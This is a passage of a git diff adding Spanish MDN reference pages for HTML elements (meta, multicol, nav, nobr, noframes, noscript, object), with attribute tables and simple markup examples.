+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-langcode">código de idioma</a>. Por defecto: "desconocido". Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-dir"><span style="color: green;">dir </span></a></td>
+   <td>Indica la <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html">dirección de texto</a> y tablas.</td>
+   <td>Uno de los siguientes: <abbr title="Left-to-right"> 'ltr' </abbr> o <abbr title="Right-to-left"> 'rtl'. </abbr> Por defecto: En castellano 'ltr'. Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <th colspan="3">Específicos</th>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-name-META"><span style="color: green;">name </span></a></td>
+   <td>Nombre al que se asocia la metainformación</td>
+   <td>Un 'nombre'. Sensible a <abbr title="diferencia entre Mayúsculas y minúsculas">M/m.</abbr> Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-content"><span style="color: green;">content </span></a></td>
+   <td>Los datos que se quieren asociar a <code style="color: green;">name</code>.</td>
+   <td>Texto. Sensible a <abbr title="diferencia entre Mayúsculas y minúsculas">M/m.</abbr>.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-http-equiv"><span style="color: green;">http-equiv </span></a></td>
+   <td>Aporta información sobre los encabezado de respuesta HTTP, puede usarse en lugar de <code style="color: green;">name</code>.</td>
+   <td>Un 'nombre'. Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-scheme"><span style="color: green;">scheme </span></a></td>
+   <td>Indica un esquema de interpretación para los metadatos.</td>
+   <td>Texto. Sensible a <abbr title="diferencia entre Mayúsculas y minúsculas">M/m.</abbr>. Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <th colspan="3">De transición</th>
+  </tr>
+  <tr>
+   <td colspan="3">No tiene</td>
+  </tr>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ejemplos_de_uso" name="Ejemplos_de_uso">Ejemplos de uso</h3>
+
+<div class="highlight">
+<h4 id="Con_name_y_content" name="Con_name_y_content">Con name y content</h4>
+
+<pre class="eval">&lt;m<strong>eta</strong> name="copyright" content="© 2006 MDC"&gt;
+</pre>
+
+<h4 id="Con_http-equiv" name="Con_http-equiv">Con http-equiv</h4>
+
+<pre class="eval">&lt;<strong>meta</strong> http-equiv="Content-Type" content="text/html; charset=UTF-8"&gt;
+</pre>
+
+<p> </p>
+</div>
+
+<h3 id="Estilo_predeterminado" name="Estilo_predeterminado">Estilo predeterminado</h3>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<h3 id="Referencia" name="Referencia">Referencia</h3>
+
+<ul>
+ <li>El elemento <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#edef-META"><strong>meta</strong> en la especificación</a> de html 4.01</li>
+</ul>
+
+<p> </p>
+
+<h3 id="Soporte" name="Soporte">Soporte</h3>
+
+<p>Puede consultar esta <a class="external" href="http://www.webdevout.net/browser_support_html.php#support-html401-meta">comparativa</a>: IE 6 - IE 7 - FF 1.5 - OP 9.</p>
+
+<p> </p>
+
+<hr>
+<div class="note">
+<p>Estamos ampliando este documento, posiblemente contenga defectos y carencias. ¡Estamos en obras!... disculpen las molestias.</p>
+
+<p>¿Quieres participar en su elaboración? Para saber cómo hacerlo consulta <a>MDC:Como ayudar</a>.</p>
+</div>
+
+<p><br>
+ <span class="comment">Categoría</span></p>
+
+<p><span class="comment">interwiki links</span></p>
+
+<p><span class="comment">automatismos</span></p>
diff --git a/files/es/web/html/elemento/multicol/index.html b/files/es/web/html/elemento/multicol/index.html
new file mode 100644
index 0000000000..e03e9ae580
--- /dev/null
+++ b/files/es/web/html/elemento/multicol/index.html
@@ -0,0 +1,20 @@
+---
+title: <multicol>
+slug: Web/HTML/Elemento/multicol
+tags:
+  - HTML
+translation_of: Web/HTML/Element/multicol
+---
+<div>{{non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>El elemento HTML <code>&lt;multicol&gt; </code>fue un elemento experimental diseñado para permitir diseños multi columna . Nunca tuvo una recepción significante y no es implementado en alguno de los principales exploradores .</p>
+
+<div class="note">
+<p><strong>No usar esto ! </strong>Para implementar un diseño multi columna , debería de usar los elementos HTML regulares como {{HTMLElement("div")}} en conjunto con la característica de CSS <a href="/es/docs/Columnas_con_CSS-3">Column</a> ,</p>
+</div>
+
+<p>Notar que hasta Firefox 22 , aunque no se soportaba , un elemento <code>&lt;multicol&gt; </code>fue asociado con un {{domxref("HTMLSpanElement")}}.  Después fue arreglado y ahora esta asociado con un {{domxref("HTMLUnknownElement")}} como se solocita en la especificación .</p>
+
+<p> </p>
diff --git a/files/es/web/html/elemento/nav/index.html b/files/es/web/html/elemento/nav/index.html
new file mode 100644
index 0000000000..1e88157775
--- /dev/null
+++ b/files/es/web/html/elemento/nav/index.html
@@ -0,0 +1,108 @@
+---
+title: '<nav>: El elemento de sección de navegación'
+slug: Web/HTML/Elemento/nav
+tags:
+  - Elemento
+  - HTML5
+  - menu
+  - nav
+  - navegación
+  - programacion
+  - sección
+translation_of: Web/HTML/Element/nav
+---
+<p>{{HTMLRef}}</p>
+
+<p>El <strong>elemento</strong> <strong>HTML <code>&lt;nav&gt;</code> </strong>representa una sección de una página cuyo propósito es proporcionar enlaces de navegación, ya sea dentro del documento actual o a otros documentos. Ejemplos comunes de secciones de navegación son menús, tablas de contenido e índices.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/es/docs/Web/Guide/HTML/categorias_de_contenido">Content categories</a></th>
+   <td><a href="/es/docs/HTML/Content_categories#Flow_content">Flow content</a>, <a href="/en-US/docs/HTML/Content_categories#Sectioning_content">sectioning content</a>, palpable content.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenido permitido</th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Flow_content">Flow content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omisión de etiquetas</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Elementos padres permitidos</th>
+   <td>Cualquier elemento que acepte <a href="/en-US/docs/HTML/Content_categories#Flow_content">flow content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Roles ARIA permitidos</th>
+   <td>Ninguno</td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaz DOM</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Este elemento sólo incluye <a href="/es/docs/Web/HTML/Atributos_Globales">atributos globales</a>.</p>
+
+<h2 id="Notas_de_uso">Notas de uso</h2>
+
+<ul>
+ <li>No es necesario que todos los enlaces estén contenidos en un elemento <code>&lt;nav&gt;</code>. <code>&lt;nav&gt;</code> está destinado sólo para el bloque principal de enlaces de navegación; por lo general, el elemento {{HTMLElement("footer")}} a menudo tiene una lista de enlaces que no necesitan estar en un elemento {{HTMLElement("nav")}}.</li>
+ <li>Un documento puede tener varios elementos {{HTMLElement("nav")}}, por ejemplo, uno para la navegación del sitio y otro para la navegación dentro de la página. <code><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Using_the_aria-labelledby_attribute">aria-labelledby</a></code> puede ser utilizado en tal caso para promover la accesibilidad, ver <a href="/en-US/docs/Web/HTML/Element/Heading_Elements#Labeling_section_content">ejemplo</a>.</li>
+ <li>Los agentes de usuario, como los lectores de pantalla dirigidos a usuarios con discapacidades, pueden usar este elemento para determinar si se omite la representación inicial del contenido de solo navegación.</li>
+</ul>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>In this example, a <code>&lt;nav&gt;</code> block is used to contain an unordered list ({{HTMLElement("ul")}}) of links. With appropriate CSS, this can be presented as a sidebar, navigation bar, or drop-down menu.</p>
+
+<pre class="brush: html">&lt;nav class="menu"&gt;
+  &lt;ul&gt;
+    &lt;li&gt;&lt;a href="#"&gt;Inicio&lt;/a&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;a href="#"&gt;Sobre nosotros&lt;/a&gt;&lt;/li&gt;
+    &lt;li&gt;&lt;a href="#"&gt;Contacto&lt;/a&gt;&lt;/li&gt;
+  &lt;/ul&gt;
+&lt;/nav&gt;
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'sections.html#the-nav-element', '&lt;nav&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Sin cambios desde la última instantánea del W3C</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sections.html#the-nav-element', '&lt;nav&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Definicion inicial</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_del_navegador">Compatibilidad del navegador</h2>
+
+<div class="hidden">La tabla de compatibilidad en esta página se genera a partir de datos estructurados. Si desea contribuir con los datos, visite <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos una solicitud de extracción.</div>
+
+<p>{{Compat("html.elements.nav")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>Otros elementos relacionados con la sección: {{HTMLElement("body")}}, {{HTMLElement("article")}}, {{HTMLElement("section")}}, {{HTMLElement("aside")}}, {{HTMLElement("h1")}}, {{HTMLElement("h2")}}, {{HTMLElement("h3")}}, {{HTMLElement("h4")}}, {{HTMLElement("h5")}}, {{HTMLElement("h6")}}, {{HTMLElement("hgroup")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("address")}};</li>
+ <li class="last"><a class="deki-ns current" href="/es/docs/Sections_and_Outlines_of_an_HTML5_document" title="Sections and Outlines of an HTML5 document">Secciones y esquema de un documento HTML5 </a>.</li>
+ <li class="last"><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Navigation_Role">ARIA: Rol de navegación</a></li>
+</ul>
diff --git a/files/es/web/html/elemento/nobr/index.html b/files/es/web/html/elemento/nobr/index.html
new file mode 100644
index 0000000000..2585c6c084
--- /dev/null
+++ b/files/es/web/html/elemento/nobr/index.html
@@ -0,0 +1,29 @@
+---
+title: <nobr>
+slug: Web/HTML/Elemento/nobr
+tags:
+  - Elemento
+  - HTML
+  - No-estándar
+  - Obsoleto
+  - Referencia
+  - Web
+  - nobr
+translation_of: Web/HTML/Element/nobr
+---
+<div>{{non-standard_header}}</div>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p><span class="seoSummary">El elemento HTML <code>&lt;nobr&gt;</code> previene que una línea de texto se divida en una nueva línea, así, se presentará en una línea larga por lo que puede ser necesario hacer un desplazamiento de pantalla. Esta etiqueta no es un estándar HTML y no debería ser usada, en su lugar use la propiedad CSS </span>{{Cssxref("white-space")}} como en este ejemplo:</p>
+
+<pre class="brush:css">&lt;span style="white-space: nowrap"&gt;Línea larga sin saltos&lt;/span&gt;</pre>
+
+<h2 id="See_also" name="See_also">Vea también</h2>
+
+<ul>
+ <li>{{Cssxref("white-space")}}</li>
+ <li>{{Cssxref("overflow")}}</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/es/web/html/elemento/noframes/index.html b/files/es/web/html/elemento/noframes/index.html
new file mode 100644
index 0000000000..97f1c8e234
--- /dev/null
+++ b/files/es/web/html/elemento/noframes/index.html
@@ -0,0 +1,143 @@
+---
+title: noframes
+slug: Web/HTML/Elemento/noframes
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/noframes
+---
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p><strong>noframes</strong> de -<em>sin marcos</em> . Aporta contenidos alternativos a los marcos. Las aplicaciones de usuario que no soporten <a class="external" href="http://html.conclase.net/w3c/html401-es/present/frames.html">marcos</a>, o que estén configuradas para no mostrarlos, deben mostrar en su lugar el contenido de este elemento.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: <code>&lt;noframes&gt;</code> y <code>&lt;/noframes&gt;</code> (ambas obligatorias).</dd>
+ <dd><strong>Está definido como</strong>: En un doctype transicional está definido como elemento <a href="es/HTML/Elemento/Tipos_de_elementos#en_bloque">en bloque</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: en bloque.</dd>
+ <dd>En un documento transicional <strong>puede contener</strong>: texto y/o cero o más elementos <a href="es/HTML/Elemento/Tipos_de_elementos#en_bloque">en bloque</a> o <a href="es/HTML/Elemento/Tipos_de_elementos#en_l.C3.ADnea">en línea</a>.</dd>
+ <dd>En un documento de marcos <strong>puede y debe contener</strong>: Un elementos <a href="es/HTML/Elemento/body">body</a> y no puede contener <a href="es/HTML/Elemento/noframes">noframes</a>.</dd>
+</dl>
+
+<h4 id="Atributos" name="Atributos">Atributos</h4>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+  </tr>
+  <tr>
+   <th colspan="3">Genéricos</th>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-title"><span style="color: green;">title </span></a></td>
+   <td>Texto informativo o título del elemento. Suele mostrarse a modo de "tool tip".</td>
+   <td>Texto legible por personas. Sensible a <abbr title="diferencia entre Mayúsculas y minúsculas">M/m.</abbr>. Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-id"><span style="color: green;">id </span></a></td>
+   <td>Le da un nombre al elemento que lo diferencia de todos los demás del documento.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-id">nombre único</a>. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr> Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-class"><span style="color: green;">class </span></a></td>
+   <td>Asigna nombres de clases al elemento. Por defecto, clases CSS.</td>
+   <td>Lista de clases separadas por espacio en blanco. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr> Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html#adef-style"><span style="color: green;">style </span></a></td>
+   <td>Permite especificar <a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html">información de estilo</a>. Por defecto, estilos CSS.</td>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-style">Declaraciones de estilo</a>. Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-lang"><span style="color: green;">lang </span></a></td>
+   <td>Información sobre el <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html">idioma del contenido</a> del elemento y del valor de sus atributos.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-langcode">código de idioma</a>. Por defecto: "desconocido". Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-dir"><span style="color: green;">dir </span></a></td>
+   <td>Indica la <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html">dirección de texto</a> y tablas.</td>
+   <td>Uno de los siguientes: <abbr title="Left-to-right"> 'ltr' </abbr> o <abbr title="Right-to-left"> 'rtl'. </abbr> Por defecto: En castellano 'ltr'. Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td colspan="3"><a class="external" href="http://html.conclase.net/w3c/html401-es/interact/scripts.html#events"><span style="color: green;">Eventos:</span></a> <code style="color: green;">onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup. </code></td>
+  </tr>
+  <tr>
+   <th colspan="3">Específicos</th>
+  </tr>
+  <tr>
+   <td colspan="3">No tiene</td>
+  </tr>
+  <tr>
+   <th colspan="3">De transición</th>
+  </tr>
+  <tr>
+   <td colspan="3">No tiene</td>
+  </tr>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ejemplos_de_uso" name="Ejemplos_de_uso">Ejemplos de uso</h3>
+
+<div class="highlight">
+<h4 id="Un_frameset_y_su_alternativa" name="Un_frameset_y_su_alternativa">Un frameset y su alternativa</h4>
+
+<pre class="eval">&lt;frameset cols="20%, 80%"&gt;
+
+ &lt;frame src="menu.html"&gt;
+ &lt;frame src="capitulo1.html"&gt;
+
+ &lt;<strong>noframes</strong>&gt;
+     &lt;p&gt; Esta guia se compone de los siguientes capítulos: &lt;/p&gt;
+     &lt;ul&gt;
+        &lt;li&gt; &lt;a href="capitulo1.html"&gt; Introducción &lt;/a&gt; &lt;/li&gt;
+        &lt;li&gt; &lt;a href="capitulo2.html"&gt; Desarrollo &lt;/a&gt; &lt;/li&gt;
+        &lt;li&gt; &lt;a href="capitulo3.html"&gt; Conclusión &lt;/a&gt; &lt;/li&gt;
+     &lt;/ul&gt;
+ &lt;/<strong>noframes</strong>&gt;
+
+&lt;/frameset&gt;
+</pre>
+</div>
+
+<h3 id="Estilo_predeterminado" name="Estilo_predeterminado">Estilo predeterminado</h3>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<h3 id="Referencia" name="Referencia">Referencia</h3>
+
+<ul>
+ <li>El elemento <a class="external" href="http://html.conclase.net/w3c/html401-es/present/frames.html#edef-NOFRAMES"><strong>noframes</strong> en la especificación</a> de html 4.01</li>
+</ul>
+
+<p> </p>
+
+<h3 id="Soporte" name="Soporte">Soporte</h3>
+
+<p>Puede consultar esta <a class="external" href="http://www.webdevout.net/browser_support_html.php#support-html401-noframes">comparativa</a>: IE 6 - IE 7 - FF 1.5 - OP 9.</p>
+
+<p> </p>
+
+<hr>
+<div class="note">
+<p>Estamos ampliando este documento, posiblemente contenga defectos y carencias. ¡Estamos en obras!... disculpen las molestias.</p>
+
+<p>¿Quieres participar en su elaboración? Para saber cómo hacerlo consulta <a>MDC:Como ayudar</a>.</p>
+</div>
+
+<p><br>
+ <span class="comment">Categoría</span></p>
+
+<p><span class="comment">interwiki links</span></p>
+
+<p><span class="comment">automatismos</span></p>
diff --git a/files/es/web/html/elemento/noscript/index.html b/files/es/web/html/elemento/noscript/index.html
new file mode 100644
index 0000000000..c90b056c7b
--- /dev/null
+++ b/files/es/web/html/elemento/noscript/index.html
@@ -0,0 +1,138 @@
+---
+title: noscript
+slug: Web/HTML/Elemento/noscript
+tags:
+  - HTML
+  - 'HTML:Elemento'
+  - Todas_las_Categorías
+translation_of: Web/HTML/Element/noscript
+---
+<h3 id="Definici.C3.B3n" name="Definici.C3.B3n">Definición</h3>
+
+<p><strong>noscript</strong> de -<em>no script</em> . Aporta contenidos alternativos al elemento <a href="es/HTML/Elemento/script">script</a>. las aplicaciones de usuario que no soporten scripts deben mostrar en su lugar el contenido de este elemento.</p>
+
+<dl>
+ <dd><strong>Sus etiquetas son</strong>: <code>&lt;noscript&gt;</code> y <code>&lt;/noscript&gt;</code> (ambas obligatorias).</dd>
+ <dd><strong>Está definido como</strong>: Elemento <a href="es/HTML/Elemento/Tipos_de_elementos#en_bloque">en bloque</a>.</dd>
+</dl>
+
+<dl>
+ <dd><strong>Crea una caja</strong>: en bloque.</dd>
+ <dd><strong>Puede (y debe) contener</strong>: Uno o más elementos <a href="es/HTML/Elemento/Tipos_de_elementos#en_bloque">en bloque</a>.
+ <dl>
+  <dd>Con un doctype transicional puede contener cero o más elementos <a href="es/HTML/Elemento/Tipos_de_elementos#en_bloque">en bloque</a>.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h4 id="Atributos" name="Atributos">Atributos</h4>
+
+<table class="fullwidth-table standard-table">
+ <tbody>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+  </tr>
+  <tr>
+   <th colspan="3">Genéricos</th>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-title"><span style="color: green;">title </span></a></td>
+   <td>Texto informativo o título del elemento. Suele mostrarse a modo de "tool tip".</td>
+   <td>Texto legible por personas. Sensible a <abbr title="diferencia entre Mayúsculas y minúsculas">M/m.</abbr>. Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-id"><span style="color: green;">id </span></a></td>
+   <td>Le da un nombre al elemento que lo diferencia de todos los demás del documento.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-id">nombre único</a>. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr> Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/global.html#adef-class"><span style="color: green;">class </span></a></td>
+   <td>Asigna nombres de clases al elemento. Por defecto, clases CSS.</td>
+   <td>Lista de clases separadas por espacio en blanco. Sensible a <abbr title="diferencia entre Máyusculas y minúsculas">M/m.</abbr> Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html#adef-style"><span style="color: green;">style </span></a></td>
+   <td>Permite especificar <a class="external" href="http://html.conclase.net/w3c/html401-es/present/styles.html">información de estilo</a>. Por defecto, estilos CSS.</td>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-style">Declaraciones de estilo</a>. Por defecto: Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-lang"><span style="color: green;">lang </span></a></td>
+   <td>Información sobre el <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html">idioma del contenido</a> del elemento y del valor de sus atributos.</td>
+   <td>Un <a class="external" href="http://html.conclase.net/w3c/html401-es/types.html#type-langcode">código de idioma</a>. Por defecto: "desconocido". Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td><a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html#adef-dir"><span style="color: green;">dir </span></a></td>
+   <td>Indica la <a class="external" href="http://html.conclase.net/w3c/html401-es/struct/dirlang.html">dirección de texto</a> y tablas.</td>
+   <td>Uno de los siguientes: <abbr title="Left-to-right"> 'ltr' </abbr> o <abbr title="Right-to-left"> 'rtl'. </abbr> Por defecto: En castellano 'ltr'. Lo fija el navegador.</td>
+  </tr>
+  <tr>
+   <td colspan="3"><a class="external" href="http://html.conclase.net/w3c/html401-es/interact/scripts.html#events"><span style="color: green;">Eventos:</span></a> <code style="color: green;">onclick, ondblclick, onmousedown, onmouseup, onmouseover, onmousemove, onmouseout, onkeypress, onkeydown, onkeyup. </code></td>
+  </tr>
+  <tr>
+   <th colspan="3">Específicos</th>
+  </tr>
+  <tr>
+   <td colspan="3">No tiene</td>
+  </tr>
+  <tr>
+   <th colspan="3">De transición</th>
+  </tr>
+  <tr>
+   <td colspan="3">No tiene</td>
+  </tr>
+  <tr>
+   <th>atributo</th>
+   <th>descripción</th>
+   <th>valor</th>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Ejemplos_de_uso" name="Ejemplos_de_uso">Ejemplos de uso</h3>
+
+<div class="highlight">
+<h4 id="Un_script_y_su_alternativa" name="Un_script_y_su_alternativa">Un script y su alternativa</h4>
+
+<pre class="eval">&lt;script type="text/javascript"&gt;
+ Aquí un script que genera un listado
+&lt;/script&gt;
+
+&lt;<strong>noscript</strong>&gt;
+&lt;p&gt; Aquí un enlace a un &lt;a href="/datos/listado.html"&gt;listado&lt;/a&gt; alternativo &lt;/p&gt;
+&lt;/<strong>noscript</strong>&gt;
+</pre>
+</div>
+
+<h3 id="Estilo_predeterminado" name="Estilo_predeterminado">Estilo predeterminado</h3>
+
+<h3 id="Notas" name="Notas">Notas</h3>
+
+<h3 id="Referencia" name="Referencia">Referencia</h3>
+
+<ul>
+ <li>El elemento <a class="external" href="http://html.conclase.net/w3c/html401-es/interact/scripts.html#edef-NOSCRIPT"><strong>noscript</strong> en la especificación</a> de html 4.01</li>
+</ul>
+
+<p> </p>
+
+<h3 id="Soporte" name="Soporte">Soporte</h3>
+
+<p>Puede consultar esta <a class="external" href="http://www.webdevout.net/browser_support_html.php#support-html401-noscript">comparativa</a>: IE 6 - IE 7 - FF 1.5 - OP 9.</p>
+
+<p> </p>
+
+<hr>
+<div class="note">
+<p>Estamos ampliando este documento, posiblemente contenga defectos y carencias. ¡Estamos en obras!... disculpen las molestias.</p>
+
+<p>¿Quieres participar en su elaboración? Para saber cómo hacerlo consulta <a>MDC:Como ayudar</a>.</p>
+</div>
+
+<p><br>
+ <span class="comment">Categoría</span></p>
+
+<p><span class="comment">interwiki links</span></p>
+
+<p><span class="comment">automatismos</span></p>
diff --git a/files/es/web/html/elemento/object/index.html b/files/es/web/html/elemento/object/index.html
new file mode 100644
index 0000000000..d859ea1b66
--- /dev/null
+++ b/files/es/web/html/elemento/object/index.html
@@ -0,0 +1,144 @@
+---
+title: <object>
+slug: Web/HTML/Elemento/object
+tags:
+  - Contenido incrustado
+  - Elemento
+  - HTML
+  - Referencia
+  - Web
+  - incrustar
+translation_of: Web/HTML/Element/object
+---
+<p>{{HTMLRef}}</p>
+
+<p>El <strong>elemento HTML <code>&lt;object&gt;</code> </strong> representa un recurso externo, que puede ser tratado como una imagen, un contexto de navegación anidado, o como un recurso que debe ser manejado por un plugin.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/object.html", "tabbed-standard")}}</div>
+
+<p class="hidden">La fuente original de este ejemplo interactivo está almacenada en un repositorio de GitHub. Si quieres contribuir al proyecto de ejemplos interactivos, por favor clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> y envíanos un pull request.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/Web/HTML/Content_categories">Content categories</a></th>
+   <td><a href="/en-US/docs/Web/HTML/Content_categories#Flow_content">Flow content</a>; <a href="/en-US/docs/Web/HTML/Content_categories#Phrasing_content">phrasing content</a>; <a href="/en-US/docs/Web/HTML/Content_categories#Embedded_content">embedded content</a>, palpable content; if the element has a {{htmlattrxref("usemap","object")}} attribute, <a href="/en-US/docs/Web/HTML/Content_categories#Interactive_content">interactive content</a>; <a href="/en-US/docs/Web/HTML/Content_categories#Form_listed">listed</a>, <a href="/en-US/docs/Web/HTML/Content_categories#Form_submittable">submittable</a> <a href="/en-US/docs/Web/HTML/Content_categories#Form-associated_content">form-associated</a> element.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenido permitido</th>
+   <td>cero o más elementos {{HTMLElement("param")}} , luego <a href="/en-US/docs/Web/HTML/Content_categories#Transparent_content_model">transparent</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Padres permitidos</th>
+   <td>Cualquier elemento que acepte <a href="/en-US/docs/Web/HTML/Content_categories#Embedded_content">embedded content</a> (contenido incrustado).</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted ARIA roles</th>
+   <td>{{ARIARole("application")}}, {{ARIARole("document")}}, {{ARIARole("image")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Interfaz DOM</th>
+   <td>{{domxref("HTMLObjectElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Atributos">Atributos</h2>
+
+<p>Este elemento incluye los <a href="/en-US/docs/Web/HTML/Global_attributes">global attributes</a>.</p>
+
+<dl>
+ <dt>{{HTMLAttrDef("archive")}}{{HTMLVersionInline(4)}} only{{Obsolete_Inline("HTML5")}}</dt>
+ <dd>Una lista separada por espacios de las URl's de archivos o recursos para el objeto.</dd>
+ <dt>{{HTMLAttrDef("border")}}{{Deprecated_Inline("HTML4.01")}}{{Obsolete_Inline("HTML5")}}</dt>
+ <dd>El grosor de una línea de margen alrededor del control, en pixeles.</dd>
+ <dt>{{HTMLAttrDef("classid")}}{{HTMLVersionInline(4)}} only{{Obsolete_Inline("HTML5")}}</dt>
+ <dd>The URI of the object's implementation. It can be used together with, or in place of, the <strong>data</strong> attribute.</dd>
+ <dt>{{HTMLAttrDef("codebase")}}{{HTMLVersionInline(4)}} only{{Obsolete_Inline("HTML5")}}</dt>
+ <dd>The base path used to resolve relative URIs specified by <strong>classid</strong>, <strong>data</strong>, or <strong>archive</strong>. If not specified, the default is the base URI of the current document.</dd>
+ <dt>{{HTMLAttrDef("codetype")}}{{HTMLVersionInline(4)}} only{{Obsolete_Inline("HTML5")}}</dt>
+ <dd>The content type of the data specified by <strong>classid</strong>.</dd>
+ <dt>{{HTMLAttrDef("data")}}</dt>
